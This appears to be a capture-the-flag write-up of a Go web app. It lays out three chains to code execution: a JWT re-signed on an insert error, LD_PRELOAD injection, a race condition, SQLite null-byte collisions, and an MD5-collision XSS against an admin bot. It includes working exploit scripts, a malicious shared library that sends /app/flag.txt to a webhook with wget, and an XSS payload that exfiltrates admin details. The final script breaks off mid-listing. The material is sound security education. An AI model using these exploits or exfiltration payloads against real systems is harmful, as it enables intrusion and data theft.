
This challenge could be solved using three distinct approaches: one intended by the challenge author and two unintended paths I discovered during the competition.
During the event, the author provided a hint to participants:

However, as I explored the challenge, I found that the XSS step was not strictly required to solve it.
The objective of this challenge was to retrieve the flag placed in the filesystem at /app/flag.txt
.
I will start by presenting the simplest solution path, which does not rely on XSS. Afterwards, I'll go over the other two approaches, which differ from the first only by a few steps.
1) XSS-less approach
Unfortunately for us, we might have to dive straight into the code to get started. Fortunately for you, I'll highlight only those functions that have a direct connection to the vulnerability, so you won't have to sift through everything.
Make(R)CErt
The first functionality I want to highlight is the MakeCert
. In the /profile
page of the web app, we can download a certificate (a png image) that contains some data regarding our account.

When we click the download button, we are actually making an API call to /api/certificate
, which is handled on the server by the MakeCert
function:
mux := http.NewServeMux()
...
mux.HandleFunc("GET /api/certificate", MakeCert)
func MakeCert(w http.ResponseWriter, r *http.Request) {
session, valid, resp, err := RequestMiddleware(w, r)
defer resp.respond()
if err != nil {
return
}
if !valid || !session.LoggedIn {
session.ClearSession()
session.UpdateSession(w)
resp.setError(fmt.Errorf("not logged in"), http.StatusUnauthorized)
return
}
defer session.UpdateSession(w)
cmd := exec.Command("./makecert", session.UserID)
u, err := FindUser(session.UserID)
if err != nil {
resp.setError(err, http.StatusBadRequest)
return
}
cmd.Env = append(os.Environ(), fmt.Sprintf("correct_guesses=%d", u.FlagsFound))
cmd.Env = append(cmd.Env, fmt.Sprintf("total_attempts=%d", u.FlagsChecked))
for k, v := range session.Properties {
fmt.Printf("key: %s\n", k)
cmd.Env = append(cmd.Env, fmt.Sprintf("%s=%s", k, v))
}
fmt.Printf("complete env: %v\n", cmd.Env)
err = cmd.Run()
if err != nil {
resp.setError(err, http.StatusBadRequest)
return
}
imgData, err := os.ReadFile(fmt.Sprintf("./userdata/%s/certificate.png", session.UserID))
if err != nil {
resp.setError(fmt.Errorf("image generation failed"), http.StatusBadRequest)
return
}
resp.Body = imgData
resp.Writer.Header().Set("Content-Type", "image/png")
resp.respondRaw()
}
In a nutshell, the function first checks if the user is authenticated by using a middleware and verifying the validity of the token.
Next, it prepares to run an external executable called makecert
, passing the current user's ID as a command-line argument via Go's exec.Command
:
cmd := exec.Command("./makecert", session.UserID)
Before running the command, the function sets up environment variables for it. This is done using the cmd.Env
field.
Notice that the implementation here is quite unusual: it cycles through all properties found in the session (which are contained in the JWT) and sets each one as an environment variable for the makecert
process. This means that any property stored in your JWT can become an environment variable.
Finally, the command is executed using cmd.Run()
.
Let's now analyze the code behind the makecert
executable. The code is quite lengthy, but most of it isn't directly relevant to the vulnerability. For clarity and focus, I'll omit unrelated sections and highlight only the parts essential to understanding the issue.
package main
import (
// ...
)
type CertImage struct {
TemplatePath string
FontPath string
Username string
Description string
Attempts int
Correct int
}
func (c *CertImage) DrawImage() (image.Image, error) {
// This function actually draws an image (we skip it)
// ...
return ctx.Image(), nil
}
func main() {
if len(os.Args) < 2 {
return
}
userID := os.Args[1]
displayName := os.Getenv("display_name")
description := os.Getenv("description")
correctGuesses := os.Getenv("correct_guesses")
attempts := os.Getenv("total_attempts")
// (skipping some code) ...
c := CertImage{
// (omitting some variables)...
}
img, err := c.DrawImage()
if err != nil {
return
}
output, err := os.CreateTemp("", "user-cert-*.png")
if err != nil {
return
}
defer os.Remove(output.Name())
defer output.Close()
err = png.Encode(output, img)
if err != nil {
return
}
cmd := exec.Command("cp", output.Name(), fmt.Sprintf("./userdata/%s/certificate.png", userID))
err = cmd.Run()
if err != nil {
return
}
}
From this, we notice something sketchy: the code uses exec.Command
to run the cp
utility, when it could have easily used a native Go function like io.Copy
.
This opens up a potential vulnerability. Suppose we have the ability to control the environment of this program, for example, by setting environment variables like LD_PRELOAD
.
LD_PRELOAD
is an environment variable that lets you specify a list of additional ELF shared objects to be loaded before any other system libraries when a dynamically linked executable runs, such as cp
. If you set LD_PRELOAD
to the path of a shared object, that file will be loaded before any other library, including the C runtime (libc.so
). This mechanism enables you to override functions and introduce custom behavior at runtime.
$ file /bin/cp
/bin/cp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ...
To make this our RCE vector, two conditions must be met:
- We need to be able to tamper with the JWT so that the
properties
object includes anLD_PRELOAD
entry set to the path of a malicious shared library.
- We also need a way to upload our malicious shared library, so it can be loaded during process execution.
A function, many flaws
🔥
We are in luck. One function takes care of both prerequisites, allowing us to modify the JWT and upload a malicious shared library.
The culprit is the Register
function. Let's break down its logic step by step.
mux.HandleFunc("POST /register", Register)
func Register(w http.ResponseWriter, r *http.Request) {
// 1.
session, valid, resp, err := RequestMiddleware(w, r)
resp.Body = "/register"
defer resp.respondRedirect()
if err != nil {
resp.Body = "/register?e=bad request"
return
}
if valid && session.LoggedIn {
resp.Body = "/home"
return
}
The Register
function starts by extracting session details from the request using RequestMiddleware
.
func RequestMiddleware(w http.ResponseWriter, r *http.Request) (*Session, bool, *Response, error) {
sessionCookie, err := r.Cookie("session")
resp := &Response{
Body: MessageResponse{
Message: "ok",
},
RespCode: 200,
Writer: w,
Request: r,
Responded: false,
}
if err != nil {
if err == http.ErrNoCookie {
return &Session{}, false, resp, nil
} else {
resp.setError(err, http.StatusBadRequest)
return nil, false, resp, err
}
}
var session Session
token, _ := jwt.ParseWithClaims(sessionCookie.Value, &session, func(t *jwt.Token) (any, error) { return jwtKey, nil })
valid := false
if token != nil {
valid = token.Valid
}
return &session, valid, resp, nil
}
The RequestMiddleware
function attempts to retrieve the session
cookie, parse it as a JWT, and extract session information. However, its logic is not entirely secure:
- If the JWT is present but invalid,
jwt.ParseWithClaims
still parses its claims and fills thesession
object, even thoughtoken.Valid
is false.
- The function then returns the session object to the caller, regardless of the JWT's validity and without returning any potential error.
When RequestMiddleware
returns, the Register
function first checks for any errors from the middleware. If there is an error, it redirects the user to the registration page with an error message.
If there are no errors, Register
then checks whether the JWT token is valid and whether the session indicates the user is already logged in. If both conditions are met, the user is redirected to the home page.
If the token is not valid or the user is not logged in, the function continues with the registration process.
// 2.
defer session.UpdateSession(w)
In Go, the defer
statement is used to schedule a function call to run after the surrounding function has finished executing, regardless of how it exits (even if it returns early due to an error).
func (s *Session) Sign() string {
token := jwt.NewWithClaims(jwt.SigningMethodHS256, s)
tokenStr, _ := token.SignedString(jwtKey)
return tokenStr
}
func (s *Session) UpdateSession(w http.ResponseWriter) {
token := s.Sign()
cookie := http.Cookie{
Name: "session",
Value: token,
HttpOnly: true,
Path: "/",
}
http.SetCookie(w, &cookie)
}
The UpdateSession
method belongs to a session object. It creates a new JWT from the current session state (using Sign()
), puts it into an HTTP cookie, and writes it to the response. By using defer session.UpdateSession(w)
in the Register
function, you ensure that the latest session state is always saved and sent to the client, regardless of how the function exits.
As you can notice, since the session object is the one returned by RequestMiddleware
, if we find a way to trigger UpdateSession
(which is always called at the end of Register
due to defer
) without having our session object cleared or reset during the registration flow, the server will sign and return a new JWT based on our tampered session data.
For now let's proceed with the rest of the Register
function.
// 3.
flagFile, _, err := r.FormFile("flag")
if err != nil {
session.ClearSession()
resp.Body = "/register?e=bad request"
return
}
username := r.FormValue("username")
password := r.FormValue("password")
displayName := r.FormValue("display_name")
if len(username) == 0 {
session.ClearSession()
resp.Body = "/register?e=missing username"
return
} else if len(password) == 0 {
session.ClearSession()
resp.Body = "/register?e=missing password"
return
} else if len(displayName) == 0 {
session.ClearSession()
resp.Body = "/register?e=missing display name"
return
}
newUser := &User{
Username: strings.ToLower(username),
DisplayName: displayName,
Password: password,
UserType: UserKindStandard,
UserID: uuid.NewString(),
}
The function expects the following fields in the registration form:
username
display_name
password
- a
file
(named"flag"
)
With this data, it creates a new User
object. Notice that the username
is always converted to lowercase before being stored.
// 4.
available, err := newUser.CheckUsernameAvailable()
if err != nil {
session.ClearSession()
resp.Body = "/register?e=bad request"
return
}
if !available {
session.ClearSession()
resp.Body = "/register?e=username taken"
return
}
The function checks if the provided username is available using the CheckUsernameAvailable()
function, which retrieves all users from the database and iterates through them to see if any username matches the one provided. If a database error occurs or the username is taken, the session is cleared and the user is redirected.
Are you noticing that every time the function needs to return early, session.ClearSession()
is called? This is to prevent what we discussed earlier: if the session object is not cleared before an early return, any data from a tampered JWT could be signed and sent back to the client when UpdateSession
runs (due to defer
). By always clearing the session on error or invalid input, the application ensures that only safe, server-controlled session data is ever signed and returned. (Keep this in mind).
// 5.
err = os.MkdirAll(fmt.Sprintf("./userdata/%s/uploads", newUser.UserID), 0644)
if err != nil {
session.ClearSession()
resp.Body = "/register?e=internal server error"
return
}
f, err := os.OpenFile(fmt.Sprintf("./userdata/%s/flag.txt", newUser.UserID), os.O_WRONLY|os.O_CREATE, 0644)
if err != nil {
session.ClearSession()
resp.Body = "/register?e=internal server error"
return
}
defer f.Close()
_, err = io.Copy(f, flagFile)
if err != nil {
session.ClearSession()
resp.Body = "/register?e=internal server error"
return
}
This part of the code handles saving the uploaded file from the registration form:
- The server creates a directory specific to the new user:
./userdata/<UserID>/
.
- It then opens (or creates) a file named
flag.txt
in the user's directory.
- The uploaded file (
flagFile
) is written intoflag.txt
.
That is exactly the entry point for our malicious shared library.
// 6.
err = newUser.InsertUser()
if err != nil {
resp.Body = "/register?e=bad request"
return
}
session.InitSession(newUser)
resp.Body = "/home"
}
Finally, here's the most interesting part: have you noticed that when newUser.InsertUser()
fails, the function does not call session.ClearSession()
before returning?
Imagine now this registration flow:
- The user tries to register with a tampered (therefore invalid) token.
- The registration function proceeds, but fails on the
newUser.InsertUser()
step.
- Because of the deferred call,
session.UpdateSession()
is still executed.
- The user receives a signed token in the
Set-Cookie
response header.
- The redirect to
/register?e=bad request
doesn't matter, since the attacker already received the signed cookie.
We are now one step away from the flag: how to trigger an error on newUser.InsertUser()
?
Getting an error
As we can see from the code below, the InsertUser
function is nothing more than a database query:
func (u *User) InsertUser() error {
_, err := db.Exec(INSERT_USER, u.UserID, u.Username, u.Password, u.DisplayName, u.Description, u.UserType)
return err
}
Therefore, to understand how to trigger an error in this function, we need to see what kind of query is being made and on which table.
const (
CREATE_USERS_TABLE = `CREATE TABLE users (user_id text UNIQUE, username text COLLATE NOCASE, password text, display_name text, description text NULL, user_type integer, cheater integer, PRIMARY KEY (username, display_name));`
// ...
INSERT_USER = `INSERT INTO users (user_id, username, password, display_name, description, user_type, cheater) VALUES (?, ?, ?, ?, ?, ?, 0);`
// ...
)
We are inserting a user into the users
table. The user_id
column must be unique, but since it is generated as a UUID during registration, it is practically impossible to create a duplicate. Therefore, an error due to a duplicate user_id
is not a realistic scenario.
Another way to trigger an error would be by inserting a user with the same username
and display_name
as an existing user. Since the table uses these two columns as a composite primary key, attempting to register with both values matching another user will violate the primary key constraint and cause the InsertUser
query to fail.
But wait… is this even possible? We previously saw that the Register
function checks if a user with the same username already exists in the database. This means that, under normal circumstances, the application won't allow us to register using a username that's already taken, thus preventing us to trigger the error we need.

There is another (more subtle) problem in the Register
function: a race condition.
Racing for the error
func main() {
// ...
mux := http.NewServeMux()
mux.HandleFunc("POST /register", Register)
// ...
log.Fatal(http.ListenAndServe("0.0.0.0:5555", mux)
}
In this code, concurrency is achieved through Go's HTTP server implementation. When http.ListenAndServe("0.0.0.0:5555", mux)
is called, the server begins listening for incoming HTTP connections. For each request received, the server automatically starts a new goroutine to handle that request independently. Within each goroutine, the server invokes mux.ServeHTTP
, which routes the request to the appropriate handler, such as the Register
function if the incoming request matches "POST /register"
.
This standard Go's HTTP behavior opens up for race conditions. In particular, the Register
function is vulnerable to a Time-of-Check Time-Of-Use (TOCTOU) issue.
Recall that the function first checks if the username is available (here) and, only after some additional operations, inserts the new user into the database (here). If two requests with the same username
and display_name
arrive almost simultaneously and pass the availability check before either inserts the user, both will attempt to create the same entry. This will violate the primary key constraint of the users table, resulting in an error from the InsertUser
function. Consequently, the function will return early, signing and issuing a tampered JWT.
Putting all together
What we need to do now is:
- Upload the malicious shared library
#include <stdio.h> #include <stdlib.h> void __attribute__((constructor)) init() { setenv("LD_PRELOAD", "", 1); system("wget --post-file /app/flag.txt https://webhook.site/<uuid>"); }
💡The first time I tried to exploit this challenge, I forgot to use
setenv
to clear theLD_PRELOAD
environment variable. As a result, my local container crashed in a rather spectacular way.Before uploading, compile the shared library using:
gcc -fPIC -shared -o evil.so malicious_library.c
The upload step will be included in the next script.
- Get a signed tampered token
The token we want the server to sign is:
{ "user_id": "6a19da18-e97b-4daf-988a-64f81c8f96be", "username": "aa", "user_kind": 0, "properties": { "LD_PRELOAD": "/app/userdata/<UserID>/flag.txt", "display_name": "aa" }, "logged_in": true }
Our next step is to generate this tampered token and include it in both concurrent requests. Due to the race condition, one of these requests (specifically the one that triggers the database error) will return the signed JWT containing our payload.
import requests, random, string, threading, jwt BASE_URL = "http://localhost:5555" cookie_signed = False def register(username, file, cookie=None): global cookie_signed session = requests.session() # register url = BASE_URL + "/register" data = { "username": username, "display_name": "abc", "password": "abc" } files = { "flag": ("flag.txt", file, "text/plain") } session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False) encoded_jwt = session.cookies.get("session") decoded = jwt.decode(encoded_jwt, options={"verify_signature": False}) if(decoded['properties'].get('LD_PRELOAD')): print("set-cookie: ", decoded) print("signed_tampered_cookie: ", encoded_jwt) cookie_signed = True return session # upload the malicious library and retrieve a valid UserID lib_file = open("evil.so", 'rb') username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) sess = register(username, lib_file) encoded_jwt = sess.cookies.get("session") decoded = jwt.decode(encoded_jwt, options={"verify_signature": False}) user_id = decoded['user_id'] payload = { "user_id": user_id, "username": username, "user_kind": 0, "properties": { "LD_PRELOAD": f"/app/userdata/{user_id}/flag.txt", "display_name": "abc" }, "logged_in": True } tampered_token = jwt.encode(payload, "secret_key", algorithm='HS256') cookie = {"session": tampered_token} # send concurrent requests to trigger the error and get the signed ticket for x in range(5): if cookie_signed: break username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) thread1 = threading.Thread(target=register, args=(username, lib_file, cookie)) thread2 = threading.Thread(target=register, args=(username, lib_file, cookie)) thread1.start() thread2.start() thread1.join() thread2.join()
Example output
$ python3 race.py set-cookie: {'user_id': '2c8e6a4e-b3f9-45c0-996f-431ade1af673', 'username': '4481p37ker', 'user_kind': 0, 'properties': {'LD_PRELOAD': '/app/userdata/2c8e6a4e-b3f9-45c0-996f-431ade1af673/flag.txt', 'display_name': 'abc'}, 'logged_in': True} signed_tampered_cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMmM4ZTZhNGUtYjNmOS00NWMwLTk5NmYtNDMxYWRlMWFmNjczIiwidXNlcm5hbWUiOiI0NDgxcDM3a2VyIiwidXNlcl9raW5kIjowLCJwcm9wZXJ0aWVzIjp7IkxEX1BSRUxPQUQiOiIvYXBwL3VzZXJkYXRhLzJjOGU2YTRlLWIzZjktNDVjMC05OTZmLTQzMWFkZTFhZjY3My9mbGFnLnR4dCIsImRpc3BsYXlfbmFtZSI6ImFiYyJ9LCJsb2dnZWRfaW4iOnRydWV9.oq91DJObZ-IKp1x2V6v5NaaEbLh3cyoOdRGwuE6F04c
- visit the
/api/certificate
endpoint to trigger the RCEWe simply need to send a request to the
/api/certificate
endpoint using the tampered, but validly signed, cookie obtained in the previous step.
2) I will take my revenge
Now, imagine they fixed the challenge to avoid the race condition…

(imagine)

The race condition is not the only way to get an error in the InsertUser
function though.
Let's revisit the function:
// INSERT_USER = `INSERT INTO users (user_id, username, password, display_name, description, user_type, cheater) VALUES (?, ?, ?, ?, ?, ?, 0);`
func (u *User) InsertUser() error {
_, err := db.Exec(INSERT_USER, u.UserID, u.Username, u.Password, u.DisplayName, u.Description, u.UserType)
return err
}
This function performs a straightforward insertion into the users
table:
CREATE_USERS_TABLE = `CREATE TABLE users (user_id text UNIQUE, username text COLLATE NOCASE, password text, display_name text, description text NULL, user_type integer, cheater integer, PRIMARY KEY (username, display_name));`
An interesting detail here is the definition: username text COLLATE NOCASE
.
This means all comparisons on the username
column are case-insensitive, including those involving the primary key. As a result, usernames like "Hello"
and "hello"
would be considered identical by the database.
As shown in the documentation, we notice something peculiar about the NOCASE
collation.

This means that if the username
value contains a null byte (\x00
), SQLite will treat everything after the null byte as irrelevant during comparisons.
This is not the case for the Go comparison in the CheckUsernameAvailable()
function (seen here). There, the username comparison is performed directly in Go using the ==
operator, which is case-sensitive and does not treat null bytes as string terminators. As a result, usernames like "Hello"
and "hello"
, or "hello"
and "hello\x00extra"
, would be considered different by the Go logic.
A key detail is that the database only compares strings of the same length. If the lengths are different, won't even bother comparing their contents and will just consider them different. To trigger the error in the InsertUser
function, you can use two usernames of the same length that contain a null character, such as "hello\x00abc"
and "hello\x00def"
.
The exploitation steps are unchanged from before:
- Upload the malicious shared library (same as before)
- Get a signed tampered token
The exploit is now the following:
import requests, random, string, jwt BASE_URL = "http://localhost:5555" def random_username(length=10): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def register(username, file, cookie=None): session = requests.session() url = BASE_URL + "/register" data = { "username": username, "display_name": "abc", "password": "abc" } files = { "flag": ("flag.txt", file, "text/plain") } session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False) encoded_jwt = session.cookies.get("session") decoded = jwt.decode(encoded_jwt, options={"verify_signature": False}) if(decoded['properties'].get('LD_PRELOAD')): print("set-cookie: ", decoded) print("signed_tampered_cookie: ", encoded_jwt) return session # upload the malicious library and retrieve a valid UserID with open("evil.so", 'rb') as lib_file: username = random_username() sess = register(username, lib_file) encoded_jwt = sess.cookies.get("session") decoded = jwt.decode(encoded_jwt, options={"verify_signature": False}) user_id = decoded['user_id'] payload = { "user_id": user_id, "username": username, "user_kind": 0, "properties": { "LD_PRELOAD": f"/app/userdata/{user_id}/flag.txt", "display_name": "abc" }, "logged_in": True } tampered_token = jwt.encode(payload, "secret_key", algorithm='HS256') cookie = {"session": tampered_token} # register two usernames that are identical up to a null byte username = random_username() with open("evil.so", 'rb') as lib_file: register(f"{username}\0abc", lib_file, cookie) with open("evil.so", 'rb') as lib_file: register(f"{username}\0def", lib_file, cookie)
- visit the
/api/certificate
endpoint to trigger the RCESend a request to the
/api/certificate
endpoint using the signed tampered cookie obtained in the previous step.
3) The last path
The last path is a bit more intricate, as it introduces the XSS mentioned by the challenge author. We also need to introduce a couple more functions *sigh*
Up to this point, I hadn't mentioned that there's actually a bot involved in this challenge (surprise!).
The bot (I forgor)
mux.HandleFunc("POST /api/report", ReportCheater)
func ReportCheater(w http.ResponseWriter, r *http.Request) {
// skipping middleware, authentication stuff...
if r.ContentLength == 0 {
resp.setError(fmt.Errorf("missing body"), http.StatusBadRequest)
return
}
defer r.Body.Close()
var req ReportRequest
err = json.NewDecoder(r.Body).Decode(&req)
if err != nil {
resp.setError(err, http.StatusBadRequest)
return
}
playerProfile := req.URL
adminID := uuid.NewString()
adminUsername := fmt.Sprintf("Admin-%s", adminID)
adminPassword := uuid.NewString()
adminDisplayName := uuid.NewString()
adminUser := User{
Username: adminUsername,
DisplayName: adminDisplayName,
Password: adminPassword,
UserType: UserKindAdmin,
UserID: adminID,
}
err = adminUser.InsertUser()
// other stuff we don't really care
// I'm saving you time here!
go adminCheckUser(adminUsername, adminPassword, playerProfile)
resp.Body = MessageResponse{Message: "looking into it"}
}
When the /api/report
endpoint is accessed with a POST request containing a JSON body, the server decodes the request to extract the URL provided. It then creates a new temporary admin user with random credentials and directly adds this user to the database. In the background (via a goroutine), the server launches a headless browser, logs in as the admin, and navigates to the submitted URL (we are limited to the challenge domain baseURL
).
Why XSS?
Suppose both the race condition and null-byte techniques didn't work. How else could we trigger the error to sign the cookie?
If you noticed, in the above code, the admin username starts with "Admin-"
. Pretty convenient, if you consider that we can trigger the error during registration by using that same username in lowercase. The only thing we are missing? The complete admin username.
Fortunately, this can be retrieved with a XSS.
Looking for the XSS
While searching for the XSS, one function in particular caught my eye: GetGuess
.
mux.HandleFunc("GET /api/users/{guesser_id}/guesses/{guess_id}", GetGuess)
func (g *Guess) GetFilePath() string {
return fmt.Sprintf("./userdata/%s/uploads/%s", g.GuesserID, g.GuessID)
}
func GetGuess(w http.ResponseWriter, r *http.Request) {
// skipping middleware, authentication stuff...
guesserID := r.PathValue("guesser_id")
guessID := r.PathValue("guess_id")
guesser, err := FindUser(guesserID)
if err != nil {
resp.setError(fmt.Errorf("user not found"), http.StatusBadRequest)
return
}
guess, err := guesser.FindGuess(guessID)
if err != nil {
resp.setError(fmt.Errorf("guess not found"), http.StatusBadRequest)
return
}
if session.UserKind != UserKindAdmin && guess.GuesserID != session.UserID {
resp.setError(fmt.Errorf("only admins can see other users' guesses"), http.StatusBadRequest)
return
}
guessPath := guess.GetFilePath()
guessBytes, err := os.ReadFile(guessPath)
if err != nil {
resp.setError(fmt.Errorf("incorrect guesses not saved. guessPath: %s", guessPath), http.StatusBadRequest)
return
}
resp.Body = guessBytes
resp.respondRaw()
}
The GetGuess
function retrieves a specific user's guess file from disk and returns its contents in the HTTP response.
It extracts the guesser_id
and guess_id
from the request URL, then attempts to find the corresponding user and their guess. If either is not found in the database, it returns an error.
Only admins or the user who made the guess can view the file; otherwise, an error is returned.
The guessPath
will follow this format: ./userdata/{GuesserID}/uploads/{GuessID}
. Therefore, if we can upload an HTML file to that path, we can trigger an XSS on the bot by making it visit this endpoint.
func (r *Response) respondRaw() error {
if r.Responded {
return nil
}
if r.RespCode == 0 {
r.RespCode = http.StatusOK
}
r.Writer.WriteHeader(r.RespCode)
respBytes, ok := r.Body.([]byte)
if !ok {
return fmt.Errorf("invalid body")
}
_, err := r.Writer.Write(respBytes)
r.Responded = true
return err
}
If the Header does not contain a Content-Type line,Write
adds a Content-Type set to the result of passing the initial 512 bytes of written data to[DetectContentType]
.
Uploading an HTML file
Another function, nooo
mux.HandleFunc("POST /api/users/{id}/checkflag", CheckFlag)
The CheckFlag
function handles the process of submitting a guess for another user's flag.
It first retrieves the flag guess and the target user's ID from the request, ensuring the user isn't trying to guess their own flag.
func CheckFlag(w http.ResponseWriter, r *http.Request) {
// skipping middleware, authentication stuff and other checks...
flagGuess := r.FormValue("flag")
flagHolderID := r.PathValue("id")
u, err := FindUser(flagHolderID)
if err != nil {
resp.setError(fmt.Errorf("user not found"), http.StatusBadRequest)
return
}
if u.UserID == session.UserID {
resp.setError(fmt.Errorf("you can't guess your own flag"), http.StatusBadRequest)
return
}
It creates a new Guess
object, assigning it a unique ID, the current user's ID as the guesser, and the target user's ID as the flag holder, marking it as incorrect by default. It then inserts this guess record into the database using guess.InsertGuess()
.
guess := Guess{
GuessID: uuid.NewString(),
GuesserID: session.UserID,
FlagHolderID: u.UserID,
Correct: false,
}
// skipping non-relevant checks...
err = guess.InsertGuess()
if err != nil {
resp.setError(err, http.StatusBadRequest)
return
}
After creating and storing the guess record, the function determines the file path where the guess will be saved using guess.GetFilePath()
(also seen here). It writes the guessed flag to this file on the system. Then, it checks whether the guess is correct by calling guess.CheckGuess()
.
guessPath := guess.GetFilePath()
err = os.WriteFile(guessPath, []byte(flagGuess), 0644)
if err != nil {
resp.setError(err, http.StatusBadRequest)
return
}
correct, md5, sha := guess.CheckGuess()
if correct {
guess.MarkCorrect()
}
if !correct {
os.Remove(guessPath)
} else {
os.WriteFile(guessPath, []byte(fmt.Sprintf("MD5: %s\nSHA256: %s", md5, sha)), 0644)
}
resp.Body = FlagCheckResponse{Correct: correct}
}
Finally, if the guess is correct, the function marks the guess as correct in the database and overwrites the guess file with the MD5 and SHA256 hashes of the correct flag value. If the guess is incorrect, it deletes the guess file from the system to prevent storing invalid attempts
But why save our guess on the filesystem? Storing the user's guess directly on the filesystem is unusual and actually plays a key role in the vulnerability. We were looking for a way to upload an HTML file on the system, and we found it. The only problem is that, within a few instants, our guess file is either removed or, at best, replaced with the hashes.
But what if we could prevent the code that deletes the file or overwrites it with the hashes from ever executing?
Clash Of Hashes
Taking a closer look at the CheckGuess()
function, we notice something very, very strange.
func (g *Guess) CheckGuess() (bool, string, string) {
flag, err := os.ReadFile(fmt.Sprintf("./userdata/%s/flag.txt", g.FlagHolderID))
if err != nil {
return false, "", ""
}
guess, err := os.ReadFile(g.GetFilePath())
if err != nil {
return false, "", ""
}
flagMd5 := md5.Sum(flag)
guessMd5 := md5.Sum(guess)
md5Equal := bytes.Equal(flagMd5[:], guessMd5[:])
flagSha := sha256.Sum256(flag)
guessSha := sha256.Sum256(guess)
shaEqual := bytes.Equal(flagSha[:], guessSha[:])
if md5Equal != shaEqual {
g.MarkCheater()
}
return md5Equal && shaEqual, hex.EncodeToString(guessMd5[:]), hex.EncodeToString(guessSha[:])
}
This function is responsible for determining if our guess matches the target user's flag by comparing the contents of our guess file to the target user's flag.txt
, using both MD5 and SHA-256 hashes.
This flag.txt
file is not the actual flag, but the file the target user uploaded upon registration. (See here)
The peculiar part (aside from the fact that it uses both MD5 and SHA-256 for comparison) lies in this condition:
if md5Equal != shaEqual {
g.MarkCheater()
}
In what scenario could these two results differ? This can happen if, for example, an MD5 collision occurs, meaning our guess file produces the same MD5 hash as the flag.txt
file, but a different SHA-256 hash.
The MarkCheater
function is intended to mark a user as a cheater by executing a database update query. However, the SQL query string is incorrect because it does not include the required question mark (?
) placeholder for parameter substitution.
MARK_CHEATER = `UPDATE users SET cheater = 1 WHERE user_id = ;`
The correct query should look like this:
MARK_CHEATER = `UPDATE users SET cheater = 1 WHERE user_id = ?;`
func (g *Guess) MarkCheater() {
db.MustExec(MARK_CHEATER, g.GuesserID)
}
As a result, when the MarkCheater
function is called, it attempts to execute an incomplete SQL statement, which will result in a runtime error. Since MustExec
panics on error, this will halt the execution of the current goroutine.
If a panic occurs at this step, the guess file will not be removed or replaced in the CheckFlag
function:
guessPath := guess.GetFilePath()
// saving guess file on the filesystem
err = os.WriteFile(guessPath, []byte(flagGuess), 0644)
if err != nil {
resp.setError(err, http.StatusBadRequest)
return
}
correct, md5, sha := guess.CheckGuess()
// if the above line panics, the code below does not run
if correct {
guess.MarkCorrect()
}
if !correct {
os.Remove(guessPath)
} else {
os.WriteFile(guessPath, []byte(fmt.Sprintf("MD5: %s\nSHA256: %s", md5, sha)), 0644)
}
Our goal is therefore to make an HTML file that causes an MD5 collision. That way, the file will stay on the server, and we can have the bot visit the /api/report
endpoint for that file to trigger the XSS.
No more Go functions, Go func yourself.
To create two files with the same MD5 hash (a collision), we can use the md5_fastcoll
tool. By using the -p
option, we provide a prefix file that will be identical in both outputs.
The following script demonstrates the complete exploit process to exfiltrate the admin's username
and display_name
to a webhook.
import requests, string, random, subprocess, os
BASE_URL = "http://localhost:5555"
WEBHOOK_URL = "https://your-webhook/"
HTML_PAYLOAD = f'''<html><body><script>
fetch('/api/profile').then(r => r.json()).then(data => {{
fetch('{WEBHOOK_URL}?username=' + data.username + '&display_name=' + data.display_name);
}});
</script></body></html>'''
def random_username(length=10):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def create_collision_files(input_file, filename1, filename2):
# Remove existing collision files to avoid stale data
for fname in [filename1, filename2]:
if os.path.exists(fname):
os.remove(fname)
command = ["./md5_fastcoll", "-p", input_file]
result = subprocess.run(command, capture_output=True, text=True)
if result.returncode != 0:
raise Exception(f"md5_fastcoll failed: {result.stderr}")
def register(username, file_data, cookie=None):
session = requests.session()
url = f"{BASE_URL}/register"
data = {
"username": username,
"display_name": "abc",
"password": "abc"
}
files = {
"flag": ("flag.txt", file_data, "text/plain")
}
session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False)
return session
def get_user_id(session):
url = f"{BASE_URL}/api/profile"
r = session.get(url)
return r.json().get("user_id")
def html_file_upload(user_id, filename2):
# register guesser user with file2
username = random_username()
with open(filename2, 'rb') as file2:
session = register(username, file2)
guesser_id = get_user_id(session)
print("Guesser ID:", guesser_id)
# submit file2 as guess to target user
url = f"{BASE_URL}/api/users/{user_id}/checkflag"
file2.seek(0)
data = {"flag": file2.read()}
try:
session.post(url, data=data)
except Exception as e:
# if the connection is aborted, it means we
# got the collision and triggered the error
print(f"Collision triggered!")
# get guess_id
url = f"{BASE_URL}/api/users/{guesser_id}/guesses"
r = session.get(url)
guess_id = r.json().get("guesses")[-1]['guess_id']
print("Guess ID:", guess_id)
return session, guesser_id, guess_id
def report_xss(session, guesser_id, guess_id):
url = f"{BASE_URL}/api/report"
json_data = {"url": f"/api/users/{guesser_id}/guesses/{guess_id}"}
print(f"Reporting: /api/users/{guesser_id}/guesses/{guess_id}")
r = session.post(url, json=json_data)
print(r.text)
input_file = "in.bin"
# collision files
collision1 = "./in_msg1.bin"
collision2 = "./in_msg2.bin"
# save html payload to file
with open(input_file, 'w') as fd:
fd.write(HTML_PAYLOAD)
create_collision_files(input_file, collision1, collision2)
# Register and upload the first file
username = random_username()
with open(collision1, 'rb') as file1:
session = register(username, file1)
user_id = get_user_id(session)
print("User ID:", user_id)
# Upload the second file to trigger the collision
guesser_session, guesser_id, guess_id = html_file_upload(user_id, collision2)
# Report to trigger XSS
report_xss(session, guesser_id, guess_id)
Now that we have obtained the admin's username
and display_name
, we can exploit the error in the register function to acquire a signed, tampered token and then trigger the RCE. The process is nearly identical to the methods described in challenge solution paths 1 and 2; however, in this scenario, rather than using a race condition or null-byte technique, we trigger the error simply by registering a new account with the same username
and display_name
as the admin.
import requests, random, string, jwt
BASE_URL = "http://localhost:5555"
# we don't need to put the admin username to lowercase
# since the register function will do that for us
ADMIN_USERNAME = "Admin-6b3af7f0-0bac-4acf-b436-52e05875ddab"
ADMIN_DISPLAY_NAME = "6defd446-77ea-459a-89ba-99041ac65c9b"
def register(username, display_name, file, cookie=None):
session = requests.session()
url = BASE_URL + "/register"
data = {
"username": username,
"display_name": display_name,
"password": "abc"
}
files = {
"flag": ("flag.txt", file, "text/plain")
